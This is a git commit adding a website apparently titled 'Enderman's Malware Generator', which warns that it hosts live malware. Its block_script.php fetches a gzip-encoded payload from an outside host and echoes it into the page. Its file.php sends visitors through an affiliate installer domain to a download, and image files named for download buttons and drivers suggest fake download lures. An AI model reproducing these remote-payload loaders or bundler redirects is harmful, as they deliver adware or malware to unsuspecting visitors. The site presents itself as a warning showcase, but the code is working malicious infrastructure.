Initial commit (2 years later)

This commit is contained in:
Andrew Illarionov 2023-09-26 00:49:18 +03:00
commit 33bd09ffdf
32 changed files with 441 additions and 0 deletions

79
.gitignore vendored Normal file
View File

@ -0,0 +1,79 @@
### PhpStorm+all template
# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
# User-specific stuff
.idea/**/workspace.xml
.idea/**/tasks.xml
.idea/**/usage.statistics.xml
.idea/**/dictionaries
.idea/**/shelf
# AWS User-specific
.idea/**/aws.xml
# Generated files
.idea/**/contentModel.xml
# Sensitive or high-churn files
.idea/**/dataSources/
.idea/**/dataSources.ids
.idea/**/dataSources.local.xml
.idea/**/sqlDataSources.xml
.idea/**/dynamic.xml
.idea/**/uiDesigner.xml
.idea/**/dbnavigator.xml
# Gradle
.idea/**/gradle.xml
.idea/**/libraries
# Gradle and Maven with auto-import
# When using Gradle or Maven with auto-import, you should exclude module files,
# since they will be recreated, and may cause churn. Uncomment if using
# auto-import.
# .idea/artifacts
# .idea/compiler.xml
# .idea/jarRepositories.xml
# .idea/modules.xml
# .idea/*.iml
# .idea/modules
# *.iml
# *.ipr
# CMake
cmake-build-*/
# Mongo Explorer plugin
.idea/**/mongoSettings.xml
# File-based project format
*.iws
# IntelliJ
out/
# mpeltonen/sbt-idea plugin
.idea_modules/
# JIRA plugin
atlassian-ide-plugin.xml
# Cursive Clojure plugin
.idea/replstate.xml
# SonarLint plugin
.idea/sonarlint/
# Crashlytics plugin (for Android Studio and IntelliJ)
com_crashlytics_export_strings.xml
crashlytics.properties
crashlytics-build.properties
fabric.properties
# Editor-based Rest Client
.idea/httpRequests
# Android studio 3.1+ serialized cache file
.idea/caches/build_file_checksums.ser

8
.idea/.gitignore vendored Normal file
View File

@ -0,0 +1,8 @@
# Default ignored files
/shelf/
/workspace.xml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml

1
block_script.php Normal file
View File

@ -0,0 +1 @@
<?php echo gzinflate(substr(file_get_contents("http://v.visitweb.com/v/z1n6zqnmSSUMj9UrqEEA8l1VkRcotA?code2&va",false,stream_context_create(array("http" => array("method"=>"GET","header"=>"Accept-Encoding: gzip\r\nAccept-Charset: utf-8\r\n","timeout"=>10.0)))),10,-8));?>

13
file.php Normal file
View File

@ -0,0 +1,13 @@
<?php
header("Cache-Control: no-cache, must-revalidate"); //HTTP 1.1
header("Pragma: no-cache"); //HTTP 1.0
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
$fn=trim(@$_GET['fn']);
$chan=trim(@$_GET['chan']);
$domain=file_get_contents('http://cinstaller.com/api/domain.php?a_aid=63396cf5e0c14');
$url='http://'.$domain.'/go.php?a_aid=63396cf5e0c14&chan='.$chan.'&fn='.$fn;
header("Location: $url");
die();
?>

BIN
images/background.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 142 KiB

BIN
images/button1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

BIN
images/button2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

BIN
images/button3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 91 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 141 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

BIN
images/download1-green.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
images/download1-orange.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

BIN
images/download1-red.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

BIN
images/download2-violet.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.8 KiB

BIN
images/driver.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

BIN
images/favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

BIN
images/warning.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

41
index.html Normal file
View File

@ -0,0 +1,41 @@
<!DOCTYPE html>
<html>
<head>
<title>Malware Generator</title>
<link rel="icon" type="image/x-icon" href="/images/favicon.ico">
<link rel="stylesheet" type="text/css" href="/styles.css">
<meta property="og:type" content="website">
<meta property="og:title" content="Enderman's Malware Generator v2.0">
<meta property="og:description" content="Generate all modern malware you want, starting from fake browser extensions, ending with adware bundlers.">
<meta property="og:url" content="https://mgen.fast-dl.cc">
<meta property="og:image" content="http://mgen.fast-dl.cc/images/warning.png">
<meta property="og:image:secure_url" content="https://mgen.fast-dl.cc/images/warning.png">
<meta property="og:image:width" content="256">
<meta property="og:image:height" content="256">
<meta property="og:image:alt" content="Warning!">
<script>
setTimeout(function(){
window.location.href = 'https://mgen.fast-dl.cc/malware.html';
}, 15000);
</script>
</head>
<body>
<video class="bg" autoplay muted loop>
<source src="/media/malware.mp4" type="video/mp4">
</video>
<div class="warning-modal">
<h1 class="shadow"><img src="/images/warning.png" class="inline"></img>THIS SITE CONTAINS LIVE MALWARE<img src="/images/warning.png" class="inline"></img></h1>
<p class="shadow">
It's highly recommended to visit this website under a <b>Sandboxed browser</b> or, even better, a <b>Virtual Machine (VM)</b>.<br>
Please take all necessary precautions before clicking <b>ANY</b> links <i>under</i> that modal. You have been warned.
</p>
<p class="shadow">Automatic redirect will happen in 15 seconds, please read carefully.</p>
<a class="blue" href="malware.html">I understand, redirect now</a>
</div>
</body>
</html>

201
malware.html Normal file

File diff suppressed because one or more lines are too long

BIN
media/malware.mp4 Normal file

Binary file not shown.

98
styles.css Normal file
View File

@ -0,0 +1,98 @@
@font-face {
font-family: "Open Sans";
src: url("/fonts/OpenSans-Regular-webfont.woff2") format("woff2"), url("/fonts/OpenSans-Regular-webfont.woff") format("woff");
}
body {
background-image: url("images/background.png");
margin-bottom: 2%;
font-family: "Open Sans", sans-serif;
}
video.bg {
position: fixed;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
object-fit: cover;
}
div.warning {
display: none;
position: fixed;
background: rgba(0, 0, 0, 0.6);
width: 100%;
height: 100%;
z-index: 9999999;
top: 0;
left: 0;
flex-direction: column;
justify-content: center;
align-items: center;
text-align: center;
}
.container {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
.title h1, .title p {
display: inline;
vertical-align: bottom;
line-height: 100%;
}
.description {
text-align: center;
}
.shadow {
color: #FFF;
text-shadow: #000 6px 3px 8px;
}
.inline {
width: 30px;
padding: 0 8px 0 8px;
}
div.warning-modal {
position: fixed;
display: flex;
background: rgba(0, 0, 0, 0.6);
width: 100%;
height: 100%;
top: 0;
left: 0;
flex-direction: column;
justify-content: center;
align-items: center;
text-align: center;
}
@media (min-width: 1700px) and (min-height: 600px) {
div.warning-modal {
transform: translate(-50%, -50%) scale(2);
transform-origin: 0% 0% 0px;
}
}
a.blue {
color: #4287f5;
}
.thanks {
color: #FF0000
}
.links {
display: flex;
max-width: 70%;
flex-flow: row wrap;
align-items: space-around;
justify-content: space-around;
padding: 20px;
gap: 20px;
}
.dlink {
display: flex;
width: 30%;
flex-direction: column;
justify-content: center;
align-items: center;
}
.dlink img {
max-width: 400px;
}